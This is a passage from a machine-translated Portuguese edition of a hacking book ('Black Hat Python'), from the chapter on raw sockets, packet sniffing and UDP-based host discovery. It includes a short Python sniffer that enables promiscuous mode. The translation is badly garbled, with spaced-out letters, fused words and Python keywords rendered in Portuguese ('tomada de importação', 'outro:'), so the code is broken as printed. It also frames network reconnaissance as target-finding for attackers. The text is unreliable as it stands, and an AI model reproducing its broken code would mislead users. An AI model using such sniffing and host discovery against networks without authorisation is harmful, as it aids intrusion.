Nós criamos algumas ferramentas muito simples, mas muito úteis neste capítulo. Encorajo-vos a expand ir emodificar, se necessário. O objetivo principal é desenvolver um firme aperto de usar P ython rede para criar f e r r a m e n t a s q u e p o d e m s e r u t i l i z a d a s d u r a n t e o s t e s t e s d e p e n e t r a ç ã o , p ó s - e x p l o r a ç ã o , o u e n q u a n t o b u g - c a ç a . V a m o s c o n t i n u a r a usar soquetes brutos e realizando rede sniffing, e depois vamos combinar os dois para criar uma puraa c o l h i m e n t o P y t h o n s c a n n e r d e d e s c o b e r t a .

[5]

A d o c u me n ta ç ã o to ma d a c o mp le ta p o d e se r e n c o n tra d a a q u i: http://docs.python.org/2/library/socket.html .[6] Esta d isc u ssã o e x p a n d e -se n o tra b a lh o p o r Hu ssa m Kh ra is, q u e p o d e se r e n c o n tra d o n o http://resources.infosecinstitute.com/ .

Capítulo 3. A Rede: Raw Sockets esniffingsniffers de rede permitem que você veja os pacotes entrando e saindo de uma máquina de destino. Como resultado, eles têm

muitos usos práticos antes e depois da exploração. Em alguns casos, você vai ser capaz de usar Wireshark ( Http://wireshark.org / ) para monitorar o tráfego, ou usar uma solução Pythonic como scapy (que vamos explorar no próximo capítulo). N o entanto, há uma vantagem para saber como jogar juntos uma rápidasniffer para ver e tráfego de rede de decodificação. Escrevendo uma ferramenta como esta também lhe dará um profundoapreciação para as ferramentas maduras que podem indolor cuidar dos pontos mais delicados com pouco esforço desua parte. V ocê também provavelmente vai pegar algumas novas técnicas de Python e, talvez, uma melhor compreensão de como os bits de rede de baixo nível trabalhar.

N o capítulo anterior, nós cobrimos como enviar e receber dados usando TCP e U D P, e, possivelmente,isto é como você irá interagir com a maioria dos serviços de rede. Mas por baixo destes protocolos de nível superior são os blocos fundamentais de como os pacotes de rede são enviados e recebidos. V ocê vai usar crusoquetes para acessar informações de rede de nível inferior, como o IP cru e cabeçalhos ICMP. N a nossacaso, estamos interessados apenas na camada IP e superior, de modo que não irá decodificar qualquer informação Ethernet.Claro, se você pretende realizar quaisquer ataques de baixo nível, tais como envenenamento A RP ou você édesenvolvimento de ferramentas de avaliação sem fio, você precisa para tornar-se intimamente familiarizado com quadros Ethernet

e a sua utilização.V amos começar com uma breve explicação passo a passo de como descobrir hosts ativos em um segmento de rede.


26/114



A construção de uma UDP Anfitrião Discovery ToolO principal objetivo da nossa sniffer é a realização de descoberta de hosts baseados em UDP em uma rede alvo. atacantesq u e r s e r c a p a z d e v e r t o d o s o s a l v o s p o t e n c i a i s e m u m a r e d e p a r a q u e e l e s p o s s a m c o n c e n t r a r s u areconhecimento e exploração tentativas.

Usaremos um comportamento conhecido da maioria dos sistemas operacionais ao manusear as portas UDP fechadas para determinar S e houver um hospedeiro activo a um endereço de IP específico. Quando você envia um datagrama UDP para uma porta fechadaem um host, que hospedam normalmente envia de volta uma mensagem de ICMP indicando que a porta está inacessível. este

ICMP mensagem indica que há uma série vivo porque nós assumimos que não havia anfitrião senão receber uma resposta para o datagrama UDP . É essencial que nós escolhemos uma porta UDP que não vai provav elmente será usado, e para a cobertura máximo que podemo s sondar várias portas para garantir que não estão atingindo um

UDP serviço ativo.

P or UDP ? Não há nenhuma sobrecarga em pulverizar a mensagem através de uma sub-rede inteira e esperando orespostas ICMP chegar em conformidade. Isto é bastante um scanner simples de construir com a maior parte do trabalhoindo para descodificação e analisando as várias cabeçalhos de protocolo de rede. Vamos implementar este alojamentoscanner para Windows e Linux para maximizar a probabilidade de ser capaz de usá-lo dentro de umambiente empresarial.

P oderíamos também construir lógica adicional em nosso scanner para lançar análises completas de portas do Nmap em quaisquer anfitriões quedescobrir para determinar se eles têm uma superfície de ataque de rede viável. Estes são exercícios deixados para oleitor, e eu ansiosos para ouvir algumas das maneiras criativas que você pode expandir este conceito central.Vamos começar.

Packet sniffing em Windows e LinuxA c e s s a n d o s o q u e t e s b r u t o s n o W i n d o w s é u m p o u c o d i f e r e n t e d o q u e n o s s e u s i r m ã o s L i n u x , m a s q u e r e m o stem a flexibilidade para implantar o mesmo sniffer para múltiplas plataformas. Vamos criar o nosso objeto de soquetee então determinar qual plataforma nós estamos executando. Janelas nos obriga a definir algumas adicional

bandeiras através de um controle de entrada tomada / saída (IOCTL), [7] que permite modo promíscuo nainterface de rede. Em nosso primeiro exemplo, nós simplesmente montar o nosso sniffer socket raw, lido em uma única

pacote, e depois sair.tomada de importaçãoimport os

# Acolhimento para escutarhost = "192.168.0.196"

# Criar um socket raw e vinculá-lo à interface públicaSe os.name == "NT":

➊ socket_protocol = socket.IPPROTO_IP


27/114



outro:socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket (socket.AF_INET, socket.SOCK_RAW, socket_protocol)

sniffer.bind ((host, 0))

# Queremos que os cabeçalhos IP incluídos na captura➋ sniffer.setsockopt (socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# Se estiver usando o Windows, é preciso enviar um IOCTL# Para configurar o modo promíscuo

➌ se os.name == "nt":sniffer.ioctl (socket.SIO_RCVALL, socket.RCVALL_ON)

# Lidas de um único pacote➍ impressão sniffer.recvfrom (65565)

# Se estiver usando o Windows, desligue o modo promíscuo➎ se os.name == "nt":

sniffer.ioctl (socket.SIO_RCVALL, socket.RCVALL_OFF)

C o m e ç a m o s p o r c o n s t r u i r o n o s s o o b j e t o d e s o q u e t e c o m o s p a r â m e t r o s n e c e s s á r i o s p a r a f a r e j a r p a c o t e s e m n o s s ointerface de rede ➊ . A diferença entre Windows e Linux é que o Windows irá permitir-nosc h e i r a r t o d o s o s p a c o t e s d e e n t r a d a i n d e p e n d e n t e m e n t e d o p r o t o c o l o , e n q u a n t o o L i n u x n o s o b r i g a a e s p e c i f i c a r d e q u e s o m o ssniffing ICMP . Note que estamos usando o modo promíscuo, que requer privilégios administrativos noWindows ou raiz no Linux. modo promíscuo nos permite capturar todos os pacotes que a placa de redev ê , m e s m o a q u e l e s q u e n ã o s e d e s t i n a m p a r a o s e u h o s t e s p e c í f i c o . E m s e g u i d a n ó s d e f i n i r u m a o p ç ã o d e s o q u e t e ➋ que inclui oC a b e ç a l h o s I P e m n o s s o s p a c o t e s c a p t u r a d o s . O p r ó x i m o p a s s o ➌ é determinar se estamos usando o Windows, e seassim, realizar o passo adicional de enviar um IOCTL para o controlador da placa de rede para permitir modo promíscuo. S e você estiver executando o Windows em uma máquina virtual, você provavelmente vai receber uma notificaçãoque o sistema operacional convidado está permitindo que o modo promíscuo; você, é claro, vai permitir isso. Agora nósestá pronto para realmente executar alguma sniffing, e neste caso estamos simplesmente imprimir toda a matéria

pacote ➍ c o m n e n h u m a d e s c o d i f i c a ç ã o d o p a c o t e . E s t e é a p e n a s p a r a t e s t a r p a r a s e c e r t i f i c a r d e q u e t e m o s o n ú c l e o d o n o s s o s n i f f i n g

código de trabalho. Após um único pacote é inalado, nós novamente o teste para Windows, e desativar promíscuoModo ➎ antes de sair do script.

Chutar os pneusAbra um novo terminal ou c m d . e x e shell no Windows e execute o seguinte:

sniffer.py python

Em outra janela de terminal ou shell, você pode simplesmente escolher um host para ping. Aqui, vamos executar pingn o s t a r c h . c o m :

de ping nostarch.com

Em sua primeira janela onde você executou o seu sniffer, você deve ver alguma saída ilegível que intimamentese assemelha a seguinte:

( 'E \ x00 \ x00: \ x0f \ x98 \ x00 \ x00 \ x80 \ x11 \ xA9 \ X0e \ xc0 \ xa8 \ x00 \ xbb \ xc0 \ xa8 \ x00 \ x01 \ x04 \ x01 \ X005 \ x00 e \ xd6d \ n \ xde \ x01 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \x00 \ x08 nostarch \ x03com \ x00 \

Documents

Black Hat Python Para Hackers e Pentesters.pdf